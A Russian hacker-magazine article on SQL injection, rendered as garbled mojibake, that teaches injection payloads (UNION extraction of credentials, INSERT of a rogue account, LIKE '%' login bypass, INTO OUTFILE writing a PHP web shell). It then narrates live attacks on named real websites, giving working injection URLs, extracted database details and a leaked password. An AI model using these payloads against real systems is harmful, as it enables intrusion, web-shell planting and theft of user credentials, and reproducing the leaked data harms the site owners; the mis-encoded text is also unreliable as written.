ìîæíî (ôèëüòðóåòñÿ îí, è âñå òóò), â ýòîì ñëó÷àå
ìîæíî âîñïîëüçîâàòüñÿ çíàêîì ïëþñà. 

SELECT * FROM Users WHERE id = 1+

OR+UserName=Àäìèíèñòðàòîð

Òàêîé çàïðîñ áóäåò àáñîëþòíî êîððåêòåí è óñïåø-
íî âûïîëíèòñÿ.

ñïåöèàëüíûå îîïåðàòîðû. Â ÿçûêå SQL åñòü ìíî-
æåñòâî îïåðàòîðîâ, âîñïîëüçîâàâøèñü êîòîðûìè,
ìîæíî ïîëó÷èòü ãîðàçäî áîëüøå âîçìîæíîñòåé, ÷åì
ïðè èñïîëüçîâàíèè ïðîñòûõ ñïåöèàëüíûõ ñèìâîëîâ. 

1INSERT. Ýòîò îïåðàòîð èñïîëüçóåòñÿ äëÿ âñòàâ-
êè íîâûõ çàïèñåé â òàáëèöó. Áûâàåò íåîáõîäèìî
ñäåëàòü ñåáå àêêàóíò (äîïóñòèì, íà êàêîì-íèáóäü èí-
òåðåñíîì ôîðóìå, ãäå ïðîñòî òàê íå çàðåãèñòðèðó-
åøüñÿ). Òîãäà, íàéäÿ âîçìîæíîñòü âíåäðåíèÿ, ìîæ-
íî äîáàâèòü â çàïðîñ ýòîò îïåðàòîð.

SELECT * FROM Users WHERE UserName=root

and Password=123; INSERT INTO Users

values (�0�, �spider_net�, �qwerty�)

Ïîñëå âûïîëíåíèÿ òàêîãî çàïðîñà â òàáëèöå User-
Name äîáàâèòñÿ íîâàÿ çàïèñü, â êîòîðîé áóäóò ñî-
äåðæàòüñÿ äàííûå íîâîãî ïîëüçîâàòåëÿ ñ ëîãèíîì
spider_net è ïàðîëåì qwerty.

2LIKE. Îïåðàòîð LIKE èäåíòè÷åí çíàêó «=»,
òîëüêî èñïîëüçóåòñÿ äëÿ ñðàâíåíèÿ ñòðîê. Íî ìíîãèå
çàáûâàþò î òîì, ÷òî ïðîùå ïîêàçàòü íà ïðèìåðå:

SELECT * FROM Users WHERE UserName LIKE

ïåðåìàííàÿ1 AND Password LIKE

ïåðåìåííàÿ2

Åñëè äëÿ ñðàâíåíèÿ èñïîëüçóåòñÿ èìåííî LIKE,
òî äîñòàòî÷íî ê çíà÷åíèþ ïåðåìåííîé ñ ïàðîëåì
äîáàâèòü ñèìâîë «%». Â ðåçóëüòàòå çàïðîñ áóäåò
âûïîëíåí óñïåøíî, è åñëè îí èñïîëüçóåòñÿ äëÿ àâ-
òîðèçàöèè ïîëüçîâàòåëåé, òî ìû áåç ïðîáëåì ñìî-
æåì çàëîãèíèòñÿ ïîä ëþáûì ïîëüçîâàòåëåì.

SELECT * FROM Users WHERE UserName LIKE

root AND Password LIKE %

Â SQL çíàê ïðîöåíòà èñïîëüçóåòñÿ äëÿ ñîïîñòàâëå-
íèÿ ñ ëþáûìè ñèìâîëàìè. Ýòà îøèáêà äîñòàòî÷íî
ðàñïðîñòðàíåíà, îñîáåííî â ñàìîïèñíûõ ñöåíà-
ðèÿõ. Åñëè òû çàíèìàåøüñÿ èññëåäîâàíèåì ïîäîá-
íîãî ñöåíàðèÿ, òî ïåðâûì äåëîì èìååò ñìûñë ïðî-
âåðÿòü âíåäðåíèå èìåííî ýòîãî çíàêà.

3 UNION. Îïåðàòîð UNION ñëóæèò äëÿ îáúåäèíå-
íèÿ çàïðîñîâ. Åñëè óäàåòñÿ âíåäðèòü ýòîò îïåðàòîð
â çàïðîñ, òî ïåðåä òîáîé îòêðûâàþòñÿ áåçãðàíè÷íûå
âîçìîæíîñòè. Äîïóñòèì, òû íàøåë êàêîé-íèáóäü óÿç-
âèìûé ñöåíàðèé (íàïðèìåð, ðàçäåë íîâîñòåé), íî èç-
äåâàòåëüñòâà íàä íîâîñòÿìè òåáÿ íå èíòåðåñóåò,
à õî÷åòñÿ âñåãî ëèøü óòÿíóòü âñþ áàçó äàííûõ ñ ëî-
ãèíàìè è ïàðîëÿìè þçåðîâ. Âîò â ýòîì ñëó÷àåì êàê
íåëüçÿ êñòàòè ïðèãîäèòñÿ îïåðàòîð UNION.

SELECT * FROM News WHERE id=1 UNION

SELECT Id, UserName, Password FROM Users

Ïîñëå âûïîëíåíèÿ ýòîãî çàïðîñà ïîìèìî òåêñòà íî-
âîñòè îòîáðàçèòñÿ èíôîðìàöèÿ îáî âñåõ ó÷åòíûõ
çàïèñÿõ èç òàáëèöû UserName.

4 OUTFILE. Äóìåøü, ÷òî åñëè òû íàøåë âîçìîæ-
íîñòü âíåäðåíèÿ, òî åäèíñòâåííîå, ÷åì ìîæíî
óïðàâëÿòü íà àòàêóåìîì ñàéòå, ýòî áàçà äàííûõ?
Íåò, ýòî íå òàê � ñ ïîìîùüþ SQL ìîæíî ïîëó÷èòü
äîñòóï è ê ôàéëîâîé ñèñòåìå. Ïðèìåð:

SELECT �Ìîé òåêñò� INTO OUTFILE

�text.txt�

Åñëè çàïðîñ âûïîëíèëñÿ óñïåøíî, òî áóäåò ñîçäàí
ôàéë text.txt ñ åäèíñòâåííîé ôðàçîé «Ìîé òåêñò».
Êîíå÷íî, åñëè çàïèñàòü ïðîñòîé òåêñò â ôàéë, òî
âûãîäû áóäåò ìàëî. Íî ÷òî åñëè çàïèñàòü â êà÷å-
ñòâå òåêñòà ñâîé ñöåíàðèé, êîòîðûé áóäåò âûïîë-
íÿòü êàêóþ-íèáóäü ñèñòåìíóþ ôóíêöèþ�

SELECT '<?php system($cmd) ?>'

INTO OUTFILE 'cmd.php'

Çàïðîñ ñîçäàñò PHP-ñöåíàðèé, êîòîðûé áóäåò âû-
ïîëíÿòü êîìàíäó èç ïåðåìåííîé $cmd. Àíàëîãè÷íî
ìîæíî äåôåéñíóòü ñàéò, ïåðåçàïèñàâ ôàéë index
(åñëè åñòü ñîîòâåòñòâóþùèå ïðàâà). 
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Ñðàçó õîòèì ïðåäóïðåäèòü, ÷òî âñå âëàäåëüöû óÿç-
âèìûõ ñàéòîâ, êîòîðûå ôèãóðèðóþò â ïðèìåðàõ, áû-
ëè ïðîèíôîðìèðîâàíû î íàëè÷èè äûð.

APA HHelp CCenter. ×òîáû íàéòè ïåðâóþ æåðòâó,
çàïóñêàåì ñ ïîìîùüþ google.com ïîèñê ïî Ñåòè, ãäå
â URL âñòðå÷àåòñÿ .php è èìÿ ïàðàìåòðà id. Ïåðâûé
ñàéò, êîòîðûé çàèíòåðåñîâàë ñâîèì íàçâàíèåì,
îêàçàëñÿ ïóñòûì, òî÷íåå, ñöåíàðèè íå ïîëó÷àëè ïà-
ðàìåòðîâ, ïîýòîìó åãî îòáðîñèëè. À âîò âòîðîé îêà-
çàëñÿ áîëåå óäà÷íûì � APA Help Center (www.apa-
helpcenter.org). ×òî òàêîå APA? Îêàçûâàåòñÿ,
ýòî The American Psychological Association èëè àìå-
ðèêàíñêàÿ àññîöèàöèÿ ïñèõîëîãîâ. Ïðîòåñòèðóåì
ïñèõîëîãîâ íà âøèâîñòü�

Äëÿ íà÷àëà èùåì ñöåíàðèè, êîòîðûå ïîëó÷à-
þò êàêèå-ëèáî ïàðàìåòðû. Äîëãî èñêàòü íå ïðèø-
ëîñü, âîò îíî � ÷óäî ïðèðîäû: www.apahel-
pcenter.org/featuredtopics/feature.php. Ýòîò ñöåíàðèé ïî-
ëó÷àåò ïàðàìåòð id, êîòîðîìó ïåðåäàåòñÿ ÷èñëî.

Äîáàâëÿåì â êîíåö çíà÷åíèÿ ïàðàìåòðà ñòðî-
êó «and 1=0» è ïåðåãðóæàåì ñòðàíè÷êó. Òà æå
ñòðàíè÷êà, òîëüêî ïóñòàÿ. Ïîïðîáóåì äîáàâèòü
åùå union select 'Test' � èíæåêòèðóåòñÿ äîïîëíè-
òåëüíûé çàïðîñ, êîòîðûé ïðîñòî âîçâðàùàåò ñëî-
âî Test. Åñëè ýòî ñëîâî ïîÿâèòñÿ ãäå-òî íà ñòðàíè-
öå, çíà÷èò, íàì ñîïóòñòâóåò óäà÷à. Â öåíòðå ñòðà-
íèöû ïîÿâèëàñü íàäïèñü Next page, ïîñëå êîòîðîé

êðàñîâàëàñü ññûëêà ñ èìåíåì Test. Âîò êóäà ïîïà-
ëî èìÿ èíæåêòèðîâàííîãî çàïðîñà. Èòàê, URL, êî-
òîðûé ïîäòâåðæäàåò íàëè÷èå óÿçâèìîñòè, âûãëÿ-
äèò ñëåäóþùèì îáðàçîì:

http://www.apahelpcenter.org/featured-

topics/feature.php?id=38%20and%201=

0%20union%20select%20'Test'--

Ðåàëüíàÿ óãðîçà SQL Injection

ÑÎÁÑÒÂÅÍÍÛÅ ÎØÈÁÊÈ ÏÎÌÎÃÀÞÒ ËÓ×ØÅ ÏÎÍßÒÜ ÒÅÌÓ. ÎÍÈ ÎÒÊËÀÄÛÂÀÞÒÑß Â
ÏÀÌßÒÈ È ÏÎÇÂÎËßÞÒ ÍÅ ÑÎÂÅÐØÀÒÜ ÏÎÄÎÁÍÎÃÎ Â ÁÓÄÓÙÅÌ. ÍÎ ÊÎÃÄÀ
ÏÐÎÃÐÀÌÌÈÑÒ ÑÎÇÄÀÅÒ «ÁÎÅÂÎÉ» ÊÎÄ, ÒÎ ÎØÈÁÊÈ ÌÎÃÓÒ ÏÐÈÂÅÑÒÈ Ê ÏÅ×ÀËÜÍÛÌ
ÏÎÑËÅÄÑÒÂÈßÌ. ÏÐÎÖÅÑÑ ÂÎÑÑÒÀÍÎÂËÅÍÈß ÍÀÑ ÑÅÉ×ÀÑ ÍÅ ÈÍÒÅÐÅÑÓÅÒ, ÍÀÑ
ÈÍÒÅÐÅÑÓÞÒ ÑÀÌÈ ÎØÈÁÊÈ. ÄËß ÝÒÎÃÎ ÏÐÎÒÅÑÒÈÐÓÅÌ ÍÅÑÊÎËÜÊÎ ÑÀÉÒÎÂ ÍÀ
ÏÐÅÄÌÅÒ ÓßÇÂÈÌÎÑÒÅÉ È ÏÐÎÀÍÀËÈÇÈÐÓÅÌ ÐÅÇÓËÜÒÀÒ

Ìèõàèë Ôëåíîâ aka Horrific
http://www.vr-online.ru 

îñîçíàííûé 
ïðèìåð

ÇÍÀÍÈÅ ßÇÛÊÀ SQL È ÎÑÎÁÅÍÍÎÑÒÅÉ ÐÀÇËÈ×ÍÛÕ ÁÀÇ ÄÀÍÍÛÕ
ÏÎÌÎÆÅÒ Â ÒÂÎÈÕ ÈÑÑËÅÄÎÂÀÍÈßÕ



Òåïåðü ïîèùåì ÷òî-òî áîëåå èíòåðåñíîå. Ïîñìîò-
ðèì èìÿ áàçû äàííûõ, âåðñèþ è èìÿ ïîëüçîâàòåëÿ.
Äëÿ ýòîãî â URL ìåíÿåì 'Test' íà DATABASE() è ïî-
ëó÷àåì èñêîìûå äàííûå:

Áàçà äàííûõ: apahelpcenter

Âåðñèÿ: 4.0.20a-debug

Èìÿ ïîëüçîâàòåëÿ:

prac01web@prac01.apa.org

Ïðåêðàñíåíüêî. À ÷òî åùå òóò åñòü? Äîñòóïà ê ñèñ-
òåìíîé áàçå äàííûõ MySQL íå îêàçàëîñü. Âèäèìî,
õîñòåð � íå äóðàê è çàïðåòèë ëþáûå òåëîäâèæåíèÿ
â ýòó ñòîðîíó. Ïîïðîáóåì ïîäîáðàòü èìåíà òàáëèö.
È ñíîâà óäà÷à íà íàøåé ñòîðîíå, ïîòîìó ÷òî àìåðè-
êàíöû íå ëþáÿò èñïîëüçîâàòü ïðåôèêñû, à èñïîëüçó-
þò áàíàëüíûå ñëîâà äëÿ èìåíîâàíèÿ îáúåêòîâ. Ïàðà
ìèíóò ñòðàäàíèÿ, ïîñëå êîòîðûõ âûÿñíÿåòñÿ, ÷òî íà

ñåðâåðå åñòü òàáëèöû ñ èìåíàìè articles è users. Êî-
íå÷íî æå, âòîðàÿ òàáëèöà íàèáîëåå èíòåðåñíà. Íî
êàêèå â íåé ïîëÿ? Ìåòîäîì ïîäáîðà âûÿñíÿåòñÿ, ÷òî
åñòü ïîëÿ id è password. Ñëåäóþùèé çàïðîñ ïîêàçàë
ïàðîëü ïåðâîãî ïîëüçîâàòåëÿ â òàáëèöå:

http://www.apahelpcenter.org/featured-

topics/feature.php?id=38%20and%201=

0%20union%20select%20password%20FROM

%20users%20limit%200,1--

Ïàðîëü áàíàëåí � apanick. Àìåðèêàíñêàÿ íàèâ-
íîñòü :). Òàê êàê íà ñàéòå íåò ðåãèñòðàöèè, à â òàáëè-
öå ïîëüçîâàòåëåé âñåãî äâå çàïèñè, ìîæíî ïðåäïî-
ëîæèòü, ÷òî ãäå-òî åñòü àäìèíêà è ýòî ïàññ �
äëÿ äîñòóïà â íåå. Íî àäìèíêó íå íàøëè. Îáëàçèëè
âåñü ñàéò: íèãäå íåò ïîëÿ äëÿ ââîäà ïàðîëÿ, à ñöåíà-
ðèè òèïà /admin/index.php, admin.php íå ñóùåñòâóþò.
Îñòàâèì ýòî äëÿ äðóãèõ è äâèãàåìñÿ äàëüøå.

Àìåðèêà ââ÷åðà. Ïîèùåì îøèáêè â USA-íåòå.
Íðàâèòñÿ àìåðèêàíñêèé net òåì, ÷òî çäåñü îøèáîê íà
ñàéòàõ î÷åíü ìíîãî, âèäèìî, ýêîíîìÿò íà ïðîãðàììèñ-
òàõ. Èëè ïðîãðàììèñòû � èç ïðîøëîãî âåêà è íå çíà-
þò î ñóùåñòâîâàíèè òàêèõ óãðîç, êàê SQL Injection.

Ñëåäóþùóþ æåðòâó äîëãî èñêàòü íå ïðèø-
ëîñü. Â ïðîöåññå ïîèñêà íàòûêàåìñÿ íà www.news-
paperads.com. Çàèíòåðåñîâàë òåì, ÷òî:

1  ÊÐÓÏÍÛÉ;
2  ÏÐÈÍÀÄËÅÆÈÒ ÇÍÀÌÅÍÈÒÎÉ USA TODAY;
3  ÏÎÑÒÐÎÅÍ ÍÀ ASP + MS SQL SERVER.

Îòïðàâèì USA Today â Yesterday, èáî äûð çäåñü
ïðåâåëèêîå ìíîæåñòâî. Íàóãàä òûêàåì ïî ññûëêàì
è ïîïàäàåì íà ñòðàíèöó:

http://www.newspaperads.com/usatoday/

results.asp?subcatid=1600&inter-

faceid=82&parent=Categories&subcatname=

Travel+Specials

Çäåñü ñîáðàíû ñòàòüè íà òåìó ïóòåøåñòâèé. Ïîïðî-
áóåì ïîïóòåøåñòâîâàòü ïî áàçå äàííûõ newspaper-
ads.com. Âñå îôîðìëåíî â âèäå òàáëèöû èç òðåõ êî-
ëîíîê: Advertiser, Summary è Date. Îáîæàþ ñòðàíè-
öû ñ òàáëèöàìè, ïîòîìó ÷òî â íèõ áîëüøå ïðîñòðàí-
ñòâà äëÿ çëûõ ìàíèïóëÿöèé è ìîæíî âèäåòü ðåçóëü-
òàò. Ñòðàíèöå ïåðåäàåòñÿ íåñêîëüêî ïàðàìåòðîâ,
íî ñàìûé èíòåðåñíûé � subcatid. Ïî èìåíè óæå ÿñ-
íî, ÷òî ýòî èäåíòèôèêàòîð, ïî êîòîðîìó ïðîèñõîäèò
ïîèñê ïî áàçå. Ïîïðîáóåì äîáàâèòü â êîíåö ïàðà-
ìåòðà îäèíàðíóþ êàâû÷êó. Àãà, ïðîèçîøëà îøèáêà
çàïðîñà. Òî, ÷òî äîêòîð ïðîïèñàë.

Èçó÷àåì îøèáêó è ïîíèìàåì, ÷òî â íåé êó÷à
âñÿêîé åðóíäû, íî ÷òîáû èíæåêòèðîâàòü SQL-êîä,
íåîáõîäèìî â êîíåö ïàðàìåòðà äîáàâèòü äâå çàê-
ðûâàþùèåñÿ êðóãëûå ñêîáêè è êîììåíòàðèåì îòø-
âûðíóòü âñå îñòàëüíûå óñëîâèÿ. Èòàê, ïðîáóåì
âíåäðèòü â ïàðàìåòð subcatid ñëåäóþùåå çíà÷åíèå:

1600)) and 1=0 -

Óñëîâèå «1=0» ïîñòàâèëè äëÿ òîãî, ÷òîáû ðåçóëü-
òàò áûë çàâåäîìî ïóñòûì. Íàì íå íóæíû ñòàòüè
ïðî ïóòåøåñòâèÿ, íàì íóæíî ñîäåðæèìîå áàçû
äàííûõ. Òåïåðü ïîäáèðàåì êîëè÷åñòâî ïîëåé, êî-
òîðûå âîçâðàùàþò çàïðîñ. Äëÿ ýòîãî â çàïðîñ
âíåäðÿåì îáúåäèíåíèå UNION SELECT NULL, �
ïîñëåäîâàòåëüíî óâåëè÷èâàÿ êîëè÷åñòâî NULL-
ïîëåé. Â èòîãå ïîëó÷èëîñü 11 ïîëåé. Èìåííî ïðè
òàêîì êîëè÷åñòâå NULL-çíà÷åíèé îøèáêà çàïðî-
ñà èñ÷åçëà è ïîÿâèëàñü òàáëèöà, ïðàâäà, ïóñòàÿ.
Òåïåðü íóæíî óçíàòü, êàêèå ïîëÿ è êóäà ïîïàäà-
þò íà ôîðìå. Äëÿ ýòîãî ìîæíî âî âíåäðåííîì
çàïðîñå âûáèðàòü íå íóëåâûå çíà÷åíèÿ, à êàêèå-
òî ÷èñëà, óíèêàëüíûå äëÿ êàæäîãî ïîëÿ. Íàïðè-
ìåð, ñëåäóþùèé çàïðîñ âûáèðàåò â êàæäîì ïîëå
÷èñëî îò 0 äî 11:

1600)) and 1=0 union all select

1,2,3,4,5,6,7,8,9,10,11--

Àãà, ÷èñëî 7 ïîÿâèëîñü â êîëîíêå Summary. Áóäåì
èñïîëüçîâàòü ñåäüìîå ïîëå äëÿ òîãî, ÷òîáû ïðîñìàò-
ðèâàòü ñèñòåìíûå äàííûå. Íàñ èíòåðåñóþò ïåðâûì
äåëîì èìåíà òàáëèö, êîòîðûå èñïîëüçóþòñÿ â áàçå
äàííûõ. Èõ ìîæíî ïîëó÷èòü èç òàáëèöû INFORMA-
TION_SCHEMA.TABLES. Èíæåêòèðóåì ñëåäóþùèé
êîä â ïàðàìåòð subcatid:

1600)) and 1=0 union all select

1,2,3,4,5,6,TABLE_NAME,8,9,0,11

from INFORMATION_SCHEMA.TABLES--

Âñå ïðîøëî óäà÷íî è ïåðåä íàìè ñïèñîê òàáëèö áà-
çû äàííûõ. Ñàìîå èíòåðåñíîå, ÷òî ïîêàçûâàþòñÿ
òîëüêî ïåðâûå 20 ñòðîê, íî âíèçó ñòðàíèöû åñòü íà-
âèãàöèÿ ïî ñòðàíèöàì 1, 2, 3� Íàâèãàöèÿ î÷åíü õî-
ðîøàÿ, ïîòîìó ÷òî ïóòåøåñòâóåò äàæå ïî èíæåêòè-
ðîâàííîìó çàïðîñó :). Òàê ÷òî íå íóæíî îãðàíè÷è-
âàòü âûâîä äàííûõ ñ ïîìîùüþ èíúåêöèè.

Ìîæíî áûëî áû äâèãàòüñÿ äàëüøå è îðãàíè-
çîâàòü äåôåéñ èëè óíè÷òîæèòü äàííûå, íî ýòî
íå íàø ìåòîä. Ìû íàïèñàëè àäìèíàì îá îøèáêå.
Ñïàñèáî newspaperads.com çà ïðèÿòíîå ïóòåøåñòâèå
ïî èõ áàçå :).
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cold ffusion. Ñëåäóþùóþ æåðòâó ðåøèëè èñ-
êàòü ñðåäè ñàéòîâ, ïîñòðîåííûõ íà òåõíîëîãèè
Macromedia Cold Fusion. Äîëãî èñêàòü íå ïðèøëîñü.
Ïåðâûì íà ãëàçà ïîïàëñÿ ñàéò ñåíàòà ÑØÀ, à òî÷-
íåå � åãî äåïàðòàìåíòà ïî êîììåðöèè (commerce.-
senate.gov). Ïðîñìîòð ïîêàçàë, ÷òî áîëüøèíñòâî ïà-
ðàìåòðîâ íå ôèëüòðóþò îäèíàðíóþ êàâû÷êó. Íàï-
ðèìåð, â ñëåäóþùåì URL óÿçâèì ïàðàìåòð id:

commerce.senate.gov/hearings/

witnesslist.cfm?id=1705

Åñëè äîáàâèòü ê ïàðàìåòðó «id=1705 and 1=1», òî ñöå-
íàðèé ïðîãëîòèò ýòó èíúåêöèþ è íå ïîäàâèòñÿ. Îäè-
íàðíàÿ êàâû÷êà òàêæå íå ôèëüòðóåòñÿ. Íî ïîäîáðàòü
êîëè÷åñòâî ïîëåé íå óäàëîñü, ïîòîìó ÷òî ôèëüòðóþò-
ñÿ çàïÿòûå, òèðå, ñëåøè è çíàê ïðîöåíòà. Øóòèòü ñ ñå-
íàòîì íå îñîáî õî÷åòñÿ, ïîòîìó ÷òî ýòî ÷ðåâàòî ñåðü-
åçíûìè ïîñëåäñòâèÿìè � ìû îñòàâèëè ñàéò â ïîêîå.

Êñòàòè, ñåðâåð senate.gov ñîäåðæèò íå òîëü-
êî ñàéòû ñåíàòîâ, íî è îòäåëüíûõ ñåíàòîðîâ.
È áîëüøèíñòâî ïàðàìåòðîâ ôèëüòðóåòñÿ íå î÷åíü

êà÷åñòâåííî. Ìû îñîáî íå êîâûðÿëèñü, ïîòîìó ÷òî
äîðîæèì ñâîåé ñâîáîäîé :).

óäîáðÿåì. Ñëåäóþùàÿ æåðòâà � www.com-
postingcouncil.org. Ñàéò ïîñâÿùåí êàêèì-òî êîíñóëü-
òàöèÿì ïî óäîáðåíèÿì. Äàâàé ïîïðîáóåì îêó÷èòü
áàçó äàííûõ, òåì áîëåå ÷òî ïðîãðàììåð âîîáùå íå
çíàåò òàêîãî ñëîâà, êàê ôèëüòðàöèÿ. Áåðåì ëþáîé
ïàðàìåòð è íà÷èíàåì åãî óäîáðÿòü. Â êà÷åñòâå öå-
ëåóêàçàíèÿ âûáðàëè ñëåäóþùèé ñöåíàðèé:

http://www.compostingcouncil.org/section.cfm

Çäåñü óÿçâèì ïàðàìåòð id. Åñëè äîáàâèòü â åãî êî-
íåö îäèíàðíóþ êàâû÷êó, òî ïðîèçîéäåò îøèáêà âû-
ïîëíåíèÿ ñöåíàðèÿ. Ðàññìîòðèì îøèáêó ïîäðîá-
íåå:

ODBC Error Code = 37000 (Syntax error

or access violation)

[Microsoft][ODBC Microsoft Access

Driver] Syntax error (missing operator)

in query expression 'id = 29'''.

The error occurred while processing

an element with a general identifier

of (CFQUERY), occupying document

position (1:1) to (1:59).

Î÷åâèäíî, ÷òî òóò èñïîëüçóåòñÿ ODBC Microsoft
Access Driver. Òî åñòü â êà÷åñòâå áàçû äàííûõ èñ-
ïîëüçóåòñÿ áàíàëüíûé MS Access. Ïîïðîáóåì ïî-
êîâûðÿòüñÿ.

Äëÿ íà÷àëà îïðåäåëèì êîëè÷åñòâî ïîëåé,
âîçâðàùàåìûõ çàïðîñîì. Îêàçàëîñü, ÷òî Access
íå ìîæåò âîçâðàùàòü áåçûìÿííûå SELECT, è îáÿ-
çàòåëüíî äîëæíà áûòü ñåêöèÿ FROM ñ èìåíåì òàá-
ëèö. Áóäåì çíàòü. Òàê êàê íà ñåðâåðå åñòü ðåãèñò-
ðàöèÿ, ïîïðîáóåì ïðåäïîëîæèòü, ÷òî ñóùåñòâóåò
òàáëèöà users. Âáèâàåì â áðàóçåð ñëåäóþùèé
URL:

http://www.compostingcouncil.org/

section.cfm?id=29%20union%20select%201%

20from%20users

Âåëèêîëåïíî! Òàêàÿ òàáëèöà äåéñòâèòåëüíî ñóùå-
ñòâóåò, ïîòîìó ÷òî ñåðâåð ñîîáùàåò íàì, ÷òî êîëè-
÷åñòâî ïîëåé â îáúåäèíåííîì çàïðîñå íå ñîâïàäà-
åò. Òåïåðü ìîæíî ïîäáèðàòü ïîëÿ. Ïîëó÷èëîñü
13 øòóê. Íåñ÷àñòëèâîå ÷èñëî, îñîáåííî äëÿ ïðîã-
ðàììèñòà ýòîãî ñàéòà. Ïîïðîáóåì ïîäîáðàòü ïîëÿ,
êîòîðûå åñòü â òàáëèöå users. Ïîäáîð ïîêàçàë, ÷òî
çäåñü ïðèñóòñòâóþò userid, email è memberpwd.
Â ïðèíöèïå, äëÿ âçëîìà ýòîãî óæå äîñòàòî÷íî, âåäü
ïðè ðåãèñòðàöèè ñïðàøèâàþò ìûëî è ïàðîëü, à ýòè
äàííûå óæå ìîæíî âûòàùèòü èç òàáëèöû users ñ ïî-
ìîùüþ èíæåêòèðîâàíèÿ.

Òåïåðü ïîïðîáóåì îïðåäåëèòü, êàêèå åùå
òàáëèöû åñòü â áàçå. Ñïðàâêà MS Access ïîäñêàçà-
ëà, ÷òî åñòü òàêàÿ ñèñòåìíàÿ òàáëèöà MSysObjects,
â êîòîðîé â ïîëå name íàõîäÿòñÿ èìåíà âñåõ òàá-
ëèö áàçû äàííûõ. Ïîïðîáóåì èíæåêòèðîâàòü çàï-
ðîñ SELECT ê ýòîé òàáëèöå:

http://www.compostingcouncil.org/

section.cfm?id=29%20union%20select

%201,2,3,4,5,6,name,8,9,10,11,12,13

%20from%20MSysObjects

Ïîëå name âñòàâèëè â ñåäüìóþ ïîçèöèþ èíæåêòè-
ðîâàííîãî çàïðîñà. Ñîäåðæèìîå ýòîãî ïîëÿ âûâî-
äèòñÿ â âèäå òàáëèöû íà ðåçóëüòèðóþùåé web-ñòðà-
íèöå (ðåçóëüòàò ñìîòðè íà ðèñóíêå).

Òàêèì îáðàçîì, åñòü âñå ìûëüíèêè, èäåíòè-
ôèêàòîðû è ïàðîëè çàðåãèñòðèðîâàííûõ ïîëüçîâà-
òåëåé (çàðåãèñòðèðîâàíî òîëüêî òðè ÷åëîâåêà
è îäèí èç íèõ ÿâíî àäìèí). È åñòü èìåíà âñåõ òàá-
ëèö. Íà ýòîì èññëåäîâàíèå ìîæíî ïðåêðàùàòü.

íÿíüêè èè ààêóøåðêè. Ñëåäóþùèé ñàéò, êîòî-
ðûé ïîïàë íà ãëàçà � www.midwife.com. Âëàäåëåö �
êîëëåäæ íÿíåê è àêóøåðîê. Äàâàé ïîïðîáóåì âíè-
ìàòåëüíî èññëåäîâàòü ýòó æåðòâó. Îôîðìëåí ñàéò
íåïëîõî, ñöåíàðèè íà Macromedia ColdFusion íàïè-
ñàíû äîñòàòî÷íî èíòåðåñíî.
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Ïîïðîáóåì âñàäèòü â êàêîé-íèáóäü ïàðàìåòð ñèì-
âîë îäèíàðíîé êàâû÷êè è ïîñìîòðèì íà ðåçóëüòàò.
Íà ïåðâûé âçãëÿä, ðåçóëüòàò îáíàäåæèâàþùèé, ïî-
òîìó ÷òî ïðîèçîøëà îøèáêà âûïîëíåíèÿ ñöåíàðèÿ.
Ñîîáùåíèå îá îøèáêå ãëàñèò, ÷òî íà ñåðâåðå èñ-
ïîëüçóåòñÿ MySQL è áàçà äàííûõ ñ èìåíåì plas-
macms. Ìîæåò áûòü, ãäå-òî ñóùåñòâóåò òàêîé CMS
ïî èìåíè Plasma, à ìîæåò áûòü ýòî ñàìîïèñíûé
äâèæîê, ïðîñòî àäìèí ðåøèë åãî òàê êðàñèâî íàç-
âàòü. Ïîïðîáóåì ïðèíÿòü ðîäû áåç ýòîãî, õîòÿ ìîæ-
íî ãäå-íèáóäü íà õàëàòå çàïèñàòü èíôîðìàöèþ, íà
áóäóùåå.

Ñìîòðèì, íà ÷åì æå âñå-òàêè çàòêíóëñÿ ñöå-
íàðèé. À îí çàòêíóëñÿ íà çàïðîñå:

SELECT

pageID,pageBody,pageTitle,pageHeader,

pageFooter,pageFolder,pageAccess,pageURL

FROM plasmaContent

WHERE pageID=75'' LIMIT 1

Ïîïðîáóåì ïîäóìàòü, ÷òî çäåñü ïðîèñõîäèò. Ñó-
äÿ ïî èìåíàì ïîëåé, êîòîðûå âûòàñêèâàþòñÿ
èç òàáëèöû plasmaContent, CMS äåéñòâèòåëüíî õî-
ðîøàÿ. Äåëî â òîì, ÷òî ïî íîìåðó ID èç òàáëèöû âû-
áèðàåòñÿ çàãîëîâîê, øàïêà, ïîäâàë è URL ñòðàíè-
öû, êîòîðóþ íóæíî îòîáðàçèòü. Ýòî çíà÷èò, ÷òî åñ-
ëè ïîïûòàòüñÿ èíæåêòèðîâàòü ñâîé êîä, íè÷åãî íå
âûéäåò. Â ïîëå pageURL äîëæåí áûòü êàêîé-òî URL
ñòðàíèöû, êîòîðûé óçíàòü ïðîáëåìàòè÷íî. Êòî åãî
çíàåò, ñ êàêèì äåôåêòîì íÿíüêè è àêóøåðêè ïðîèç-
âåëè íà ñâåò ñâîåãî web-ïðîãðàììèñòà, è ÷òî îí çà-
ñóíóë â ýòî ïîëå. Ïîïûòêè âñòàâèòü â íåãî ÷òî-ëèáî
íå óâåí÷àëèñü óñïåõîì.

Äëÿ èíæåêòèðîâàíèÿ SQL-êîäà íóæíî èñïîëü-
çîâàòü ñëåäóþùèé URL:

http://www.midwife.org/news.cfm?id=

75 and 1=0 union select 1,2,3,4,5,6,7,8

Íî âìåñòî ÷èñëà 8 íà êîíöå íåîáõîäèìî óêàçàòü êà-
êîå-òî ðåàëüíîå çíà÷åíèå èç áàçû äàííûõ, èíà÷å
ñöåíàðèé âûâàëèâàåòñÿ â îøèáêó «URL íå íàéäåí».

Òàêèì îáðàçîì ïîñòðîåíû àáñîëþòíî âñå
ñòðàíèöû íà ñàéòå. Íî íå ñòîèò îïóñêàòü ðóêè: áå-
ðåì ñêàëüïåëü è äåëàåì «Êåñàðåâî ñå÷åíèå».
À òî÷íåå, � ïîñìîòðèì, ÷òî åùå åñòü â ñîîáùåíèè
îá îøèáêå. À òàì åñòü ññûëêà íà ôàéë:

C:\Inetpub\wwwroot\Clients\midwife.org\

www\plasmacms\cfm\page.cfc

Ýòî íàèáîëåå èíòåðåñíûé ñöåíàðèé, òàê êàê â íåì è
ïðîèñõîäèò ôîðìèðîâàíèå ñòðàíèöû. Íî äîñòóï ê íå-
ìó èç ñòðîêè URL çàïðåùåí, è ïðè ïîïûòêå îáðàòèòü-
ñÿ ê íåìó âûâàëèâàåòñÿ ñîîáùåíèå ñ ïðîñüáîé ââåñ-
òè ïàðîëü àäìèíà. Ïîñìîòðèì, íà êàêèå åùå ôàéëû
ðóãàåòñÿ ñöåíàðèé. Ñëåäóþùèì â ñïèñêå èäåò:

C:\Inetpub\wwwroot\Clients\midwife.org\

www\header.cfm

